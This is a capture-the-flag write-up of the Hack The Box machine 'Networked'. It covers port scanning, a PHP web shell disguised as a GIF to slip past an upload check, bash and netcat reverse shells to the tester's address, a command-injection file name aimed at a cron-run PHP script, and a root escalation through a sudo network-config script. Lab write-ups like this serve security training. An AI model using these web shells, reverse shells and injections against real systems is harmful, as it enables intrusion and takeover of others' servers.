Ech0 - 19 / 02 / 2020

Writeup

Networked Introduction :



Networked is an easy Linux box that was released back in August 2019.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.

  λ root [ 10.10.14.7/23 ] [ech0/_HTB/Networked]
  → nmap -F 10.10.10.146
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 10:28 GMT
  Nmap scan report for 10.10.10.146
  Host is up (0.099s latency).
  Not shown: 97 filtered ports
  PORT    STATE  SERVICE
  22/tcp  open   ssh
  80/tcp  open   http
  443/tcp closed https

  Nmap done: 1 IP address (1 host up) scanned in 2.67 seconds

  λ ech0 [ 10.10.14.7/23 ] [~/_HTB/Networked]
  → nmap -sCV -p22,80 10.10.10.146
  Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-18 10:28 GMT
  Nmap scan report for 10.10.10.146
  Host is up (0.098s latency).

  PORT   STATE SERVICE VERSION
  22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
  | ssh-hostkey:
  |   2048 22:75:d7:a7:4f:81:a7:af:52:66:e5:27:44:b1:01:5b (RSA)
  |   256 2d:63:28:fc:a2:99:c7:d4:35:b9:45:9a:4b:38:f9:c8 (ECDSA)
  |_  256 73:cd:a0:5b:84:10:7d:a7:1c:7c:61:1d:f5:54:cf:c4 (ED25519)
  80/tcp open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
  |_http-server-header: Apache/2.4.6 (CentOS) PHP/5.4.16
  |_http-title: Site doesn't have a title (text/html; charset=UTF-8).

  Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  Nmap done: 1 IP address (1 host up) scanned in 10.84 seconds

Part 2 : Getting User Access



Let's investigate the webservice running on port 80 using the curl command with the -sk flags.

  λ root [ 10.10.14.7/23 ] [ech0/_HTB/Networked]
  → curl -sk http://10.10.10.146
  <html>
  <body>
  Hello mate, we're building the new FaceMash!</br>
  Help by funding us and be the new Tyler&Cameron!</br>
  Join us at the pool party this Sat to get a glimpse
  
  </body>
  </html>

Not much to see on the index page, so let's launch dirsearch to enumerate what directories we can find on the box.

  λ ech0 [ 10.10.14.7/23 ] [~/_HTB/Networked]
→ dirsearch -u http://10.10.10.146/ -e txt,html,js,php -t 50
git clone https://github.com/maurosoria/dirsearch.git
dirsearch -u  -e  -t 50 -x 500

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: txt, html, js, php | HTTP method: get | Threads: 50 | Wordlist size: 7126

Error Log: /home/ech0/Desktop/Tools/dirsearch/logs/errors-20-02-18_10-32-21.log

Target: http://10.10.10.146/

[10:32:21] Starting:
[10:32:24] 403 -  213B  - /.ht_wsr.txt
[10:32:24] 403 -  215B  - /.htaccess-dev
[10:32:24] 403 -  217B  - /.htaccess-local
[10:32:24] 403 -  206B  - /.hta
[10:32:24] 403 -  217B  - /.htaccess-marco
[10:32:24] 403 -  215B  - /.htaccess.BAK
[10:32:24] 403 -  216B  - /.htaccess.bak1
[10:32:24] 403 -  216B  - /.htaccess.orig
[10:32:24] 403 -  215B  - /.htaccess.old
[10:32:24] 403 -  216B  - /.htaccess.save
[10:32:24] 403 -  218B  - /.htaccess.sample
[10:32:24] 403 -  215B  - /.htaccess.txt
[10:32:24] 403 -  217B  - /.htaccess_extra
[10:32:24] 403 -  216B  - /.htaccess_orig
[10:32:24] 403 -  214B  - /.htaccess_sc
[10:32:24] 403 -  214B  - /.htaccessBAK
[10:32:24] 403 -  214B  - /.htaccessOLD
[10:32:24] 403 -  215B  - /.htaccessOLD2
[10:32:24] 403 -  212B  - /.htaccess~
[10:32:24] 403 -  210B  - /.htgroup
[10:32:24] 403 -  215B  - /.htpasswd-old
[10:32:24] 403 -  216B  - /.htpasswd_test
[10:32:24] 403 -  212B  - /.htpasswds
[10:32:24] 403 -  210B  - /.htusers
[10:32:34] 301 -  235B  - /backup  ->  http://10.10.10.146/backup/
[10:32:34] 200 -  885B  - /backup/
[10:32:35] 403 -  210B  - /cgi-bin/
[10:32:39] 200 -  229B  - /index.php
[10:32:39] 200 -  229B  - /index.php/login/
[10:32:48] 200 -  169B  - /upload.php
[10:32:48] 301 -  236B  - /uploads  ->  http://10.10.10.146/uploads/
[10:32:48] 200 -    2B  - /uploads/

here we have a few interesting results : /backup , /upload.php and /uploads/ , Let's move over to /upload.php and upload our ech0.php which will basically grab the html GET Variable "ech0" and pass it to the system command which will execute it.

  λ ech0 [ 10.10.14.7/23 ] [~/_HTB/Networked]
  → nano ech0.py
  <?php system($_GET['ech0']); ?>

Uploading the php file we get an error message "invalid image file". Earlier on our dirsearch scan found the /backup/ directory so navigating there we see a file named backup.tar ready for us to download, so let's do so using wget.

  λ root [ 10.10.14.7/23 ] [ech0/_HTB/Networked]
  → wget http://10.10.10.146/backup/backup.tar && exiftool backup.tar
  --2020-02-18 10:47:23--  http://10.10.10.146/backup/backup.tar
  Connecting to 10.10.10.146:80... connected.
  HTTP request sent, awaiting response... 200 OK
  Length: 10240 (10K) [application/x-tar]
  Saving to: ‘backup.tar’

  backup.tar          100%[==================>]  10.00K  --.-KB/s    in 0.004s

  2020-02-18 10:47:23 (2.26 MB/s) - ‘backup.tar’ saved [10240/10240]

  ExifTool Version Number         : 11.86
  File Name                       : backup.tar
  Directory                       : .
  File Size                       : 10 kB
  File Modification Date/Time     : 2019:07:09 12:33:42+01:00
  File Access Date/Time           : 2020:02:18 10:47:23+00:00
  File Inode Change Date/Time     : 2020:02:18 10:47:23+00:00
  File Permissions                : rw-r--r--
  File Type                       : TAR
  File Type Extension             : tar
  MIME Type                       : application/x-tar
  Warning                         : Unsupported file type

so we get a regular tar file, let's just extract it with tar -xvf

  λ root [ 10.10.14.7/23 ] [ech0/_HTB/Networked]
  → tar -xvf backup.tar
  index.php
  lib.php
  photos.php
  upload.php

so we get a bunch of php files , now we are trying to see in what ways a user can interact with the server, so we'll use the following grep command and look at it's results

  λ root [ 10.10.14.7/23 ] [ech0/_HTB/Networked]
  → grep -Ri '$_' *

  Binary file backup.tar matches
  ech0.php:
  lib.php:<form action="" method="post" enctype="multipart/form-data">
  photos.php:  if ((strpos($exploded[0], '10_10_') === 0) && (!($prefix === $_SERVER["REMOTE_ADDR"])) ) {
  upload.php:if( isset($_POST['submit']) ) {
  upload.php:  if (!empty($_FILES["myFile"])) {
  upload.php:    $myFile = $_FILES["myFile"];
  upload.php:    if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {
  upload.php:    //$name = $_SERVER['REMOTE_ADDR'].'-'. $myFile["name"];
  upload.php:    $name = str_replace('.','_',$_SERVER['REMOTE_ADDR']).'.'.$ext;

  λ root [ 10.10.14.7/23 ] [ech0/_HTB/Networked]
  → cat upload.php| grep type
    if (!(check_file_type($_FILES["myFile"]) && filesize($_FILES['myFile']['tmp_name']) < 60000)) {

Looking at the results, we see a few interesting variables , most notably the $_FILES global variable. we can also see that we must not upload a file that is too large, AND (&&) we need to make sure the check_file_type function allows us to proceed. so let's run the grep command again, this time looking for the check_file_type function :


  λ root [ 10.10.14.7/23 ] [ech0/_HTB/Networked]
  → grep -Ri 'check_file_type(' *
  Binary file backup.tar matches
  lib.php:function check_file_type($file) {

    λ root [ 10.10.14.7/23 ] [ech0/_HTB/Networked]
    → nano lib.php

Looking at the results, we see it's being used in both upload.php and lib.php

  function check_file_type($file) {
    $mime_type = file_mime_type($file);
    if (strpos($mime_type, 'image/') === 0) {
        return true;
    } else {
        return false;
    }
  }

looking at the function, we see that the file_mime_type function basically checks for magic bytes at the beginning of the uploaded file and seeing if it is actually an image. To test this , we can try and create our own false images :

  λ root [ 10.10.14.7/23 ] [ech0/_HTB/Networked]
→ echo "GIF8;ech0" > test.txt

λ root [ 10.10.14.7/23 ] [ech0/_HTB/Networked]
→ file test.txt
test.txt: GIF image data 26723 x 2608
  λ root [ 10.10.14.7/23 ] [ech0/_HTB/Networked]
  → nano ech0.php
  GIF8;
  λ root [ 10.10.14.7/23 ] [ech0/_HTB/Networked]
  → mv ech0.php ech0.php.gif

next up we upload it, and browse to it

and from there, we can basically have command execution for example :

http://10.10.10.146/uploads/10_10_14_7.php.gif?ech0=cat%20/etc/passwd

root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown halt:x:7:0:halt:/sbin:/sbin/halt mail:x:8:12:mail:/var/spool/mail:/sbin/nologin operator:x:11:0:operator:/root:/sbin/nologin games:x:12:100:games:/usr/games:/sbin/nologin ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin nobody:x:99:99:Nobody:/:/sbin/nologin systemd-network:x:192:192:systemd Network Management:/:/sbin/nologin dbus:x:81:81:System message bus:/:/sbin/nologin polkitd:x:999:998:User for polkitd:/:/sbin/nologin sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin postfix:x:89:89::/var/spool/postfix:/sbin/nologin guly:x:1000:1000:guly:/home/guly:/bin/bash saslauth:x:998:76:Saslauthd user:/run/saslauthd:/sbin/nologin apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin tcpdump:x:72:72::/:/sbin/nologin

http://10.10.10.146/uploads/10_10_14_7.php.gif?ech0=uname%20-a

GIF8;Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux


http://10.10.10.146/uploads/10_10_14_7.php.gif?ech0=bash -i >& /dev/tcp/10.10.14.7/9001 0>&1

Here we see that the previous URL does not work because we need to URL ENCODE the spaces, and & symbols, the spaces are + and the & are %26


http://10.10.10.146/uploads/10_10_14_7.php.gif?ech0=bash+-i+>%26+/dev/tcp/10.10.14.7/9001+0>%261

and we are catching the incoming reverse shell connection on our port 9001 :

  λ root [ 10.10.14.7/23 ] [ech0/_HTB/Networked]
  → nc -lvnp 9001
  listening on [any] 9001 ...
  connect to [10.10.14.7] from (UNKNOWN) [10.10.10.146] 56620
  bash: no job control in this shell
  bash-4.2$ uname -a
  uname -a
  Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
  bash-4.2$ cd /home/guly
cd /home/guly
bash-4.2$ ls -la
ls -la
total 28
drwxr-xr-x. 2 guly guly 159 Jul  9  2019 .
drwxr-xr-x. 3 root root  18 Jul  2  2019 ..
lrwxrwxrwx. 1 root root   9 Jul  2  2019 .bash_history -> /dev/null
-rw-r--r--. 1 guly guly  18 Oct 30  2018 .bash_logout
-rw-r--r--. 1 guly guly 193 Oct 30  2018 .bash_profile
-rw-r--r--. 1 guly guly 231 Oct 30  2018 .bashrc
-rw-------  1 guly guly 639 Jul  9  2019 .viminfo
-r--r--r--. 1 root root 782 Oct 30  2018 check_attack.php
-rw-r--r--  1 root root  44 Oct 30  2018 crontab.guly
-r--------. 1 guly guly  33 Oct 30  2018 user.txt

bash-4.2$ uname -a
uname -a
Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$ whoami
whoami
apache

But we are not yet able to print the user flag, because we do not have enough permissions. we are currently the user apache, so we need to escalate privlieges to the guly user.

  bash-4.2$ cat check_attack.php
  cat check_attack.php
   $value) {
  	$msg='';
    if ($value == 'index.html') {
  	continue;
    }
    #echo "-------------\n";

    #print "check: $value\n";
    list ($name,$ext) = getnameCheck($value);
    $check = check_ip($name,$value);

    if (!($check[0])) {
      echo "attack!\n";
      # todo: attach file
      file_put_contents($logpath, $msg, FILE_APPEND | LOCK_EX);

      exec("rm -f $logpath");
      exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");
      echo "rm -f $path$value\n";
      mail($to, $msg, $msg, $headers, "-F$value");
    }
  }

  ?>

so here we have the php sourcecode of check_attack.php, and you can see that it has a dangerous function here exec("") which is like the system() function we used earlier, it can basically execute anything. So let's look at a line in particular :

  exec("nohup /bin/rm -f $path$value > /dev/null 2>&1 &");

here we can see that we have no control over anything in this line EXCEPT for the $value variable, which is basically the name of the file, let's navigate over to /var/www/html/uploads/

  bash-4.2$ cd /var/www/html/uploads
  cd /var/www/html/uploads

  bash-4.2$ nc -v
  nc -v
  Ncat: Version 7.50 ( https://nmap.org/ncat )
  Ncat: You must specify a host to connect to. QUITTING

From there, we see that netcat is available for us.

Terminal 1:
  bash-4.2$ touch -- ';nc -c bash 10.10.14.7 9002;.php'
  touch -- ';nc -c bash 10.10.14.7 9002;.php'
  bash-4.2$ ls
  ls
  10_10_14_7.php.gif  127_0_0_2.png  127_0_0_4.png		     index.html
  127_0_0_1.png	    127_0_0_3.png  ;nc -c bash 10.10.14.7 9002;.php

here we see that we have the filename we want, which will replace our previous $value and seamlessly give us another reverse shell. we ready our other terminal.

Terminal 2:
  λ ech0 [ 10.10.14.7/23 ] [~/_HTB]
  → nc -lvnp 9002
  listening on [any] 9002 ...
  connect to [10.10.14.7] from (UNKNOWN) [10.10.10.146] 50702
  uname -a
  Linux networked.htb 3.10.0-957.21.3.el7.x86_64 #1 SMP Tue Jun 18 16:35:19 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
  python -c 'import pty;pty.spawn("/bin/bash")'
  [guly@networked ~]$

and now we have upgraded our reverse shell to a tty using python's pty.spawn() function

  λ ech0 [ 10.10.14.7/23 ] [~/_HTB]
  → nc -lvnp 9002
  listening on [any] 9002 ...
  connect to [10.10.14.7] from (UNKNOWN) [10.10.10.146] 50708
  python -c 'import pty;pty.spawn("/bin/bash")'
  [guly@networked ~]$ cat /home/guly/user.txt
  cat /home/guly/user.txt
  52XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! we have been able to print out the user flag.

Part 3 : Getting Root Access



In order to privesc on a linux machine, a good reflex to have is to try out the sudo -l command

  [guly@networked ~]$ sudo -l
sudo -l
Matching Defaults entries for guly on networked:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin,
    env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
    env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE",
    env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES",
    env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE",
    env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
    secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User guly may run the following commands on networked:
    (root) NOPASSWD: /usr/local/sbin/changename.sh

    [guly@networked ~]$ ls -la /usr/local/sbin/changename.sh
    ls -la /usr/local/sbin/changename.sh
    -rwxr-xr-x 1 root root 422 Jul  8  2019 /usr/local/sbin/changename.sh

We see that the script changename.sh may be run as root with no password although as you can see from the result of our second command, we do not have the writing rights to it as it is owned by the root user, so let's check what it does :

  [guly@networked ~]$ cat /usr/local/sbin/changename.sh
  cat /usr/local/sbin/changename.sh
  #!/bin/bash -p
  cat > /etc/sysconfig/network-scripts/ifcfg-guly << EoF
  DEVICE=guly0
  ONBOOT=no
  NM_CONTROLLED=no
  EoF

  regexp="^[a-zA-Z0-9_\ /-]+$"

  for var in NAME PROXY_METHOD BROWSER_ONLY BOOTPROTO; do
  	echo "interface $var:"
  	read x
  	while [[ ! $x =~ $regexp ]]; do
  		echo "wrong input, try again"
  		echo "interface $var:"
  		read x
  	done
  	echo $var=$x >> /etc/sysconfig/network-scripts/ifcfg-guly
  done

  /sbin/ifup guly0

basically the vulnerability here is, that if we put a space in any of the variables, once the commands we want is being put in the config file, when the script is going to read it, it is going to execute our command for us , as root.

  [guly@networked ~]$ sudo /usr/local/sbin/changename.sh
  sudo /usr/local/sbin/changename.sh
  interface NAME:
  ech0
  ech0
  interface PROXY_METHOD:
  ech0
  ech0
  interface BROWSER_ONLY:
  ech0 bash
  ech0 bash
  interface BOOTPROTO:
  TCP
  TCP
  [root@networked network-scripts]# cat /root/root.txt
  cat /root/root.txt
  0aXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And that's it ! we have been able to privesc, and print out the root flag !

Conclusion



Here we can see the progress graph :